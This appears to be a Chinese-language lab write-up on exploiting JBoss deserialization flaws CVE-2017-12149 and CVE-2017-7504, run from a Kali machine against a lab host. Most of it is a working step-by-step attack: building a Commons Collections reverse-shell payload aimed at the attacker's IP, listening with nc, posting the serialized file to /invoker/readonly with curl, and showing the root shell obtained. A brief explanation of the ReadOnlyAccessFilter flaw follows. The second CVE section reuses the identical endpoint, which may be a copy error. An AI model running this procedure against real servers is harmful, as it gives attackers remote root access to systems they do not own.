JBOSS反序列化漏洞

> CVE-2017-12149

环境准备

```
git clone https://github.com/joaomatosf/JavaDeserH2HC.git
```

- 攻击机kali：`192.168.2.13`
- 靶机：`192.168.2.254`

开始攻击

- 首先cd到我们克隆下来的文件里，查看文件结构

```
┌──(root㉿kali)-[/home/kali/桌面]
└─# cd JavaDeserH2HC

┌──(root㉿kali)-[/home/kali/桌面/JavaDeserH2HC]
└─# ls
Alien.java                                ExploitGadgetExample1.java                SleepExample.java
commons-collections-3.2.1.jar             ForgottenClass.java                       SomeInvocationHandler.java
DnsWithCommonsCollections.java            LICENSE                                   TestDeserialize.java
ExampleCommonsCollections1.java           README.md                                 TestSerialize.java
ExampleCommonsCollections1WithHashMap.java ReverseShellCommonsCollectionsHashMap.java VulnerableHTTPServer.java
ExampleTransformersWithLazyMap.java       reverseShellMultiplatformCommonsCollections.xml xstream-1.4.6.jar
```

- 编译并生成序列化数据 `.class` 文件

```
javac -cp .:commons-collections-3.2.1.jar
ReverseShellCommonsCollectionsHashMap.java
```

```
┌──(root㉿kali)-[/home/kali/桌面/JavaDeserH2HC]
└─#  javac -cp .:commons-collections-3.2.1.jar ReverseShellCommonsCollectionsHashMap.java
```

- 序列化恶意数据到文件

```
# 这里填写的ip为攻击机的ip
java -cp .:commons-collections-3.2.1.jar ReverseShellCommonsCollectionsHashMap
192.168.2.13:8888
```

```
┌──(root㉿kali)-[/home/kali/桌面/JavaDeserH2HC]
└─# java -cp .:commons-collections-3.2.1.jar ReverseShellCommonsCollectionsHashMap 192.168.2.13:8888
Saving serialized object in ReverseShellCommonsCollectionsHashMap.ser
```

- 监听 `8888` 端口

```
nc -lvvp 8888
```

- 发送 `ReverseShellCommonsCollectionsHashMap.ser` 文件到靶机

```
curl http://192.168.2.254:8080/invoker/readonly --data-binary
@ReverseShellCommonsCollectionsHashMap.ser
```

```
┌──(root㉿kali)-[/home/kali/桌面/JavaDeserH2HC]
└─# curl http://192.168.2.254:8080/invoker/readonly --data-binary @ReverseShellCommonsCollectionsHashMap.ser
<html><head><title>JBoss Web/3.0.0-CR2 - Error report</title><style><!--H1 {font-family:Tahoma,Arial,sans-serif;color:white;background
-color:#525D76;font-size:22px;} H2 {font-family:Tahoma,Arial,sans-serif;color:white;background-color:#525D76;font-size:16px;} H3 {font
-family:Tahoma,Arial,sans-serif;color:white;background-color:#525D76;font-size:14px;} BODY {font-family:Tahoma,Arial,sans-serif;color:
black;background-color:white;} B {font-family:Tahoma,Arial,sans-serif;color:white;background-color:#525D76;} P {font-family:Tahoma,Ari
al,sans-serif;background:white;color:black;font-size:12px;}A {color : black;}A.name {color : black;}HR {color : #525D76;}--></style> <
/head><body><h1>HTTP Status 500 - </h1><HR size="1" noshade="noshade"><p><b>type</b> Exception report</p><p><b>message</b> <u></u></p>
<p><b>description</b> <u>The server encountered an internal error () that prevented it from fulfilling this request.</u></p><p><b>exce
ption</b> <pre>java.lang.ClassCastException: java.util.HashSet cannot be cast to org.jboss.invocation.MarshalledInvocation
        org.jboss.invocation.http.servlet.ReadOnlyAccessFilter.doFilter(ReadOnlyAccessFilter.java:106)
</pre></p><p><b>note</b> <u>The full stack trace of the root cause is available in the JBoss Web/3.0.0-CR2 logs.</u></p><HR size="1" n
oshade="noshade"><h3>JBoss Web/3.0.0-CR2</h3></body></html>
```

- 反弹成功

```
┌──(root㉿kali)-[~]
└─# nc -lvvp 8888
listening on [any] 8888 ...
192.168.2.254: inverse host lookup failed: Unknown host
connect to [192.168.2.13] from (UNKNOWN) [192.168.2.254] 46986
whoami
root
ls
bin
boot
dev
docker-java-home
etc
home
jboss-6.1.0.Final
lib
```

原理

- jboss 介绍 :jboss是一个基于J2EE开放源代码应用服务器,也是一个管理EJB的容器和服务器
- 原理:在Jboss的 `HttpInvoker` 组件中 `ReadOnlyAccessFilter` 过滤器中,该过滤器在没有任何安全检查的情况下尝试将来自客户端的数据流进行 反序列化 ,导致攻击者可以通过精心设计序列化数据来执行任意代码

JBoss反序列化漏洞

> cve-2017-7504

环境准备

- 跟上面一样

开始攻击

- paylaod也是没有变化的

```
# 生成序列化数据从 .class文件
javac -cp .:commons-collections-3.2.1.jar ReverseShellCommonsCollectionsHashMap.java
# 序列化恶意类到文件
java -cp .:commons-collections-3.2.1.jar ReverseShellCommonsCollectionsHashMap 192.168.2.13:8888
# 监听
nc -lvvp 8888
# 发送数据
curl http://192.168.2.254:8080/invoker/readonly --data-binary @ReverseShellCommonsCollectionsHashMap.ser
```